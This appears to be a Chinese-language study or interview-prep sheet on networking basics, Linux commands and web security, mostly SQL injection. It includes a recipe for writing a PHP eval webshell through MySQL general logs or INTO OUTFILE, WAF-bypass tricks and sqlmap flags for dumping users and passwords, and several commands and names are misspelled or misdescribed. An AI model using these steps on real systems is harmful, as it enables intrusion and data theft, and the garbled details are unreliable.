网络基础
TCP、UDP 协议
tcp:面向连接
udp:无连接,比如说:QQ发送消息就是UDP,速度要比TCP更快
TCP 为啥是三次握手,而并非四次 ?
因为三次握手是可靠的,而四次比较多余,不高效

Cookie、Session
cookie:存放在客户端、不安全、浏览器关闭的时候,周期结束
session:保存在服务端,比较安全
状态码
1
2
3
4
5
6
7
|
302:跳转
403:没有权限访问此站
404:指所请求的页面不存在、已被删除或无法访问
502:服务器错误、网关错误
|
常见端口
1
2
3
4
5
6
7
8
9
10
|
IIS:80
SQLServer:1433
Oracle:1521
MySQL:3306
FTP:21
SSH:22
redies:6379
Tomcat:8080
webshpere管理工具,默认的端口号为9090;
JBOSS,默认的端口号为8080
|
Linux 基础
常见 Linux 命令
1
2
3
4
5
6
|
lsof -i 查看端口号
netstate -an
cp复制
mkdir创建文件夹
mv 剪切
rm命令(rm -rf 强制递归删除)
|
web 安全
SQL 注入
如何判断是否存在注入
加单引号、双引号、括号、双括号
and 1=1 、and 1=2
SQL 注入分类
联合查询
堆叠查询
布尔型注入
报错注入
延时注入
宽字节注入
SQL 注入写 Shell 的方式
into outfile
1
2
3
4
5
6
|
利用 into outfile、into dumpfile 写shell
利用条件
需要root权限
知道网站物理路径
secure_file_priv为空(secure_file_priv的值为null,不能写入;为空,可以在任意位置写入;为路径,可以在该路径下写入)
|
日志写 Shell
1
2
3
4
|
how variables like ‘%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = ‘/var/www/html/1.php'; #设置日志目录为shell地址
select ‘<?php eval($_POST[cmd]);?>’ #写入shell
|
SQL 注入绕 WAF
1
2
3
4
5
6
|
内联注释(/* */)
大小写(Union、UnloN)
编码转换(~可编码成0x7e代替)
重写 (只过滤一次union,采用ununionion)
宽字节注入
函数替换 (substring()替换同功能的mid()、substr())
|
Sqlmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
-u 注入点
-b 获取数据库版本信息
-p 指定可测试的参数(?page=1&id=2 -p “page,id”)
-D 指定数据库名
-T 指定表名
-C 指定字段
–columns 列出字段
–current-use 获取当前数据库名称
–current-db 获取当前数据库名称
–users 列数据库所有用户
–passwords 数据库用户所有密码
–privileges 查看用户权限(–privileges -U root)
-U 指定数据库用户
–dbs 列出所有数据库
–os 指定系统(Linux,Windows)
|
sqlmap判断是否有注入
1
2
3
|
get类型:get型的注入命令,基本为python sqlmap.py(换到相应路径) -u “url” –level 1-5
post类型:post型的注入命令给,可以用brupsuite抓包用copy to file保存到txt文件,然后用python sqlmap.py -r “d:\aaa\1.txt” 判断是否存在注入点
|